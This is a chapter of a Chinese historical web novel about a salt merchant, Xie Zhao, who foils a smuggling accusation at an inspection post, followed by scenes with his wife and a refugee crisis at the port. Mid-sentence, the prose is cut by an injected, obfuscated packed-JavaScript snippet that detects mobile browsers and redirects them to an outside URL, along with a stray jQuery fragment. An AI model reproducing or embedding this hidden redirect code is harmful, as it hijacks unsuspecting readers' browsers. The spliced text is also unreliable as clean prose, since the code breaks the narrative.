那锦衣卫见众人惊疑，更是步步紧逼，朗声道：
“大人明鉴！此秤砣规制，百斤、五十斤者为固定砣，轻易不动。然二十斤砣有四，十斤砣亦有四。据草民观察，方才称量谢昭盐包时，所用之二十斤砣与十斤砣，各有两个被动了手脚！”
“每个轻了五斤，合计便有五十斤的缺额！一引盐便可借此夹带至少十斤，整船盐夹带之数堪称巨量！”
李清白听得心惊肉跳，用气声急急道：“阿昭！他们这是有备而来，冲着你来的！待会儿若对质，你便说……便说近日阴雨连绵，盐包受潮，故重量有异。再将这砣的问题推给制作铁权的工部，咬死不能承认夹带！”
监掣官面色阴沉，目光如炬：“谢昭，你有何话说？”
谢昭却只是淡淡一笑，拱手道：“大人，草民冤枉。草民一切皆按规矩办事，何来夹带一说？至于这砣……”
他瞥了一眼那志在必得的锦衣卫：“空口无凭，大人何不将砣一一校验，以证清白？”
监掣官当即下令：“将所有砣具，当场校验！”
胥吏们不敢怠慢，取来标准权，将厅内所有二十斤砣、十斤砣一一过秤。
结果却出乎所有人意料——每一个砣，竟都分毫不差！
那锦衣卫脸色大变，犹不死心：“定是他将夹带之盐均匀分摊至各包！大人，应将谢昭船上所有盐包，逐一过秤！”
监掣官沉吟片刻，竟也准了。
于是，谢昭船上雪山般的盐包被一包包重新抬回，逐一称量。
然而，从日出到晌午，所有盐包称验完毕，竟无一超出定例斤两！
阿凡和阿佳在一旁看得目瞪口呆，完全懵了。
那假扮商人的锦衣卫脸色铁青，仍强自镇定，高声道：“大人！谢昭狡诈，定是将私盐藏于船体暗仓！请大人准许彻底搜查船队！”
监掣官已被这番折腾弄得心烦意乱，为求稳妥，还是派了得力人手将谢昭的几条船里里外外搜了个底朝天，结果依旧是一无所获，并无任何暗仓夹带。
就在众人束手无策，监掣官也准备无奈放行之时，那负责记录的书吏朝他耳语了一阵，他便急急吩咐下去：“来人！去查查他这张盐引的底档记录，看看以往支取可有异常！”
一直默不作声的谢昭，此时幽幽开口，声音不大，却清晰地传入每个人耳中：“大人，不必查了。”
他迎着监掣官存疑的目光，嘴角噙着一丝若有若无的笑意，慢条斯理道：“即便某些记录曾经存在过，又岂会一直留在那里，等着人去翻查？人，总要朝前看，不必总是留恋过去。”
监掣官终于明白他早已掌控了一切，这一连串动作不过是在戏耍他们，脸色瞬间变得铁青，手握惊堂木而不住发抖。
他死死盯着谢昭，胸膛剧烈起伏了几下，最终像是被抽干了力气般，颓然挥了挥手，从牙缝里挤出两个字：
“……放行！”
谢昭却并不打算就此作罢，大踏步道：
“大人，且慢！”
监掣官眉头紧锁：“你还有何事？”
谢昭看向那名仍不服气的锦衣卫：“大人，此人在公堂之上，无凭无据，诬告良商，扰乱掣验秩序，致使大批官盐延误转运，损耗人力物力。若就此轻轻放过，恐难以服众，亦有损朝廷法度威严！”
他义正词严道：“按《大旻律》，诬告者反坐其罪，扰乱公堂者杖责不贷。请大人依律严惩，以正视听！”
监掣官脸色风云变幻，心知谢昭确实占理，若不强硬处置，恐怕难以收场。
他沉吟片刻，重重拍下惊堂木：
“来人！将此诬告良善、扰乱公堂之徒，拖下去，重责三十杖！以儆效尤！”
衙役们立刻上前，将那锦衣卫打得惨叫连连。
处置完毕，监掣官无力地挥挥手，脚夫们这才战战兢兢地将那些饱经折腾的盐包重新抬起，运往等候已久的驳船。
看着盐包被顺利装上驳船，阿凡和阿佳大眼瞪小眼，脸上写满了震惊与茫然，完全搞不懂为何天衣无缝的计划会落得如此下场。
李清白心情复杂难言，既庆幸于谢昭有惊无险地逃脱，又隐隐觉得自己仿佛做错了什么，
直到这时，她才猛然惊觉，自己竟一直紧紧握着他的手。
江上船只往来如梭，喧闹声重新入耳，她像是被烫到一般，倏地松开了与他紧扣的五指。
“方才真是吓死我了。”她心有余悸道。
谢昭没有回应，只是默默收回了手。
李清白抬眼看他，带着几分探究：“你早就料到会如此，是吗？”
“如今查得严，不得不防。”谢昭语气轻巧，目光掠过奔流不息的江面，“路子不止一条，此路不通，换一条便是。”
“你……究竟有没有夹带？那些盐，又是如何运走的？”
看着她困惑的神情，谢昭嘴角微勾：“我又不是只做盐业这一门生意。那夜在银沙场，所有人都只盯着我那几船盐货，然而夹带的盐包早已分装混入粮船，从其他水域先行运走了。”
原来……竟是如此简单？
李清白一时怔住，心头涌上一股被愚弄的懊恼，更失落于谢昭对她始终存有戒心，并未全然信任。
谢昭饶有兴致地看着她，语带揶揄：“我好像还是头一回见你如此紧张。”
李清白面上微热，避开他的目光，尴尬道：“谁让你是我夫君呢。”
这话出口，心中却更不是滋味。
谢昭在心中叹了口气，终是道：“折腾了这大半日，你也累了，回舱歇息吧。”
李清白点点头，落寞转身离开。
船队最终顺利从仪真批验所放行，按照引票所指，溯江而上，抵达汉口，将官盐交付，又装载了几满船的大米与竹木，开始返航。
回程路上，李清白倚着船舷，吹着江风，心情有些郁郁。
阿凡和阿佳乖巧地凑了过来。
“表姐，这次虽然没抓住他把柄，但我们还可以再想办法！”
“日子一长，他总会露出马脚，表姐你千万不要灰心！”
李清白苦涩地摇摇头：“不必了。过两日，你们便回京都去办差吧，不要再与他接触了。”
两人急道：“为什么？表姐，再给我们一个机会，我们会努力做好的！”
“他恐怕早就识破你们的身份了。”
“怎么可能？”阿凡失声
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16626018|181932||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
道，随即与阿佳四目相对，拼命回想是哪里露出了破绽。
阿佳忽然道：“那晚在甲板上，姐夫他问起表姐你小时候的事，笑得可甜了，还劝我们回去好好读书，考取功名，莫要学做生意，说这是刀尖舔血的歪路子……”
阿凡也反应过来：“在府里时，姐夫对我们几乎是有求必应，万般纵容，现在想来，确实有些不对劲。”
阿佳小声嘟囔了一句：“其实……姐夫他要不是个臭名昭著的大盐枭，人还怪好的……”
李清白嗔怪道：“叫姐夫叫顺口了是吧？”
两人互看了一眼，立即噤声。
她正色道：“总之，你们尽快回去。这边的事，我和夏荫会处理。”
二人见她态度坚决，只得答应。
阿凡犹豫了一下，还是问道：“表姐，那你以后打算怎么办？”
李清白眼中闪过一丝迷茫：“我也不知道。走一步，看一步吧。”
船行三日，于天亮时分返回珠瑜湾。
然而，平日里井然有序的港口，此刻却意外地乱成一团。
码头上挤满了蓬头垢面、衣衫褴褛的人群，他们像疯了一样争抢着散落在地上的货物包裹，哭喊声、叫骂声不绝于耳。仅有的一些衙役兵丁在人群中艰难地维持秩序，却如同杯水车薪。
船刚靠岸，李清白还未从这混乱的景象中回过神，一只手便有力地握住了她的手腕。
谢昭不知何时已来到她身边，将她往自己身侧一带，沉声道：
“跟紧我。”
众人艰难上岸，墨卫在前方开路，形成一道无形的屏障，将混乱的人群隔绝在外，所过之处倒也畅通。
偶有红了眼的流民盯上他们船上刚卸下的货物，意欲扑抢，一名墨卫毫不犹豫掏出火铳，对着天空便是一声轰鸣。
枪声震耳，那群蠢蠢欲动的流民顿时被震慑住，再不敢上前滋扰。
李清白被谢昭护在身侧，仍忍不住一步三回头，想看清身后的混乱景象。
谢昭却紧紧握住她的手，告诫道：“与我们无关的事，不要管。”
说罢，几乎是半强制地带着她，在墨卫的保护下迅速离开了这是非之地，径直返回霁园。
刚踏入府门，一个小小的身影便如乳燕投林般扑了过来，紧紧抱住李清白的腿。
知雨仰着小脸，大眼睛里噙着盼切的泪花：“娘亲！爹爹！你们可回来了，知雨好想你们！”
谢昭揉了揉知雨的发顶，对李清白道：“你也受惊了，先带知雨回去好好歇息。”
李清白点点头，牵着一步三回头的知雨往后院走去。
她刚离开，元旌便步履匆匆地迎了上来，急不可待地开始禀报：
“爷，情况不妙。其一，北方战事吃紧，溃兵流匪肆虐，大量边民弃家南逃，涌入江淮一带，秩序濒临崩溃。”
“朝廷下令紧急调用东南西北四座预备仓存粮赈济，可谁知……仓中竟只有少量腐烂不堪的陈米！附近州县情况也类似。”
“圣上震怒，已急派户部尚书江雪遗南下督办此事。”
听到“江雪遗”这个名字，谢昭眉头骤然锁紧，眼中闪过一丝毫不掩饰的厌恶与冷意。